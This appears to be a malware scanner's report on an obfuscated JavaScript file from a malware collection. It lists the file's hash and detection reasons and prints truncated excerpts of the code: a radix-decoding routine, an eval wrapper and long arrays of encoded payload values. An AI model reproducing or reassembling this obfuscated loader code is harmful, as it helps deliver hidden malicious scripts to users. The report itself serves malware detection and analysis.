Suspicious ^80% javascript-malware-collection Download

20151210_6fd32a5c53d0475f62a08b969f9c12b3.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256f2dc4b8d2aa24fc9b5b8031c8d163eeeee5c0b4ac679ef2efbb40778ab19b1ef

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var YjtJmHSAsoCEF=[];
2faBfaMU=(-766+766)/907;while(true){if(faBfaMU>=(78511+849)/620){break;}YjtJmHSAsoCEF[faBfaMU]=String.fromCharCode(faBfaMU);faBfaMU++;}
3function GTepT(UdPlUHpqjAC,ZbulWiKdmROrj,OKRIwKzl){bfae=parseInt(UdPlUHpqjAC,ZbulWiKdmROrj);fenoP=bfae.toString(OKRIwKzl);return fenoP;}function BsZxiKEnbjeRyyO(AmeRIVjTZxtHFNzyp){eval(AmeRIVjTZxtHFNzyp)}
4function QfHdRcnqjEmMgKMNvQaJImvxNAJUydrLDvIyeWCmzyUgFuwWNDkErL(gLoUxTIzEzFOm,fxSbpiWKDrEAVa){ return YjtJmHSAsoCEF[GTepT(gLoUxTIzEzFOm[fxSbpiWKDrEAVa],(20227+148)/815,(5347+323)/567)];}
5function tmwRvBH(phhsSGgCoERsQNiIijhfGesqvhWztTPlzjUP) {return !isNaN(parseFloat(phhsSGgCoERsQNiIijhfGesqvhWztTPlzjUP)) && isFinite(phhsSGgCoERsQNiIijhfGesqvhWztTPlzjUP);}
6function nONEbkanInx(wIyJSIYY,biQppA){return wIyJSIYY.split(biQppA)}
7var b=[];b[0]="d";b[1]="a";b[2]="d";b[3]="a";b[4]="4i";b[5]="3m";b[6]="4e";b[7]="17";b[8]="4e";b[9]="17";b[10]="2b";b …

Massive array index assignment line 8

8:4312… ";O[860]="4g";O[861]="4e";O[862]="4l";O[863]="17";O[864]="17";O[865]="4n";O[866]="d";O[867]="a";O[868]="17";O[869]="17";O[870]="17";O[871]="17";O[872]="17";O[873]="17";O[874]="17";O[875]="17";O[876]="17";O[877]="17";O[878]="45";O[879]="42";O[880]="17";O[881]="1f";O[882]="1f";O[883]="1f";O[884]="4a";O[885]="41";O[886]="4j";O[887]="17";O[888]="2i";O[889]="3m";O[890]="4g";O[891]="41";O[892]="1f";O[893]="1g";O …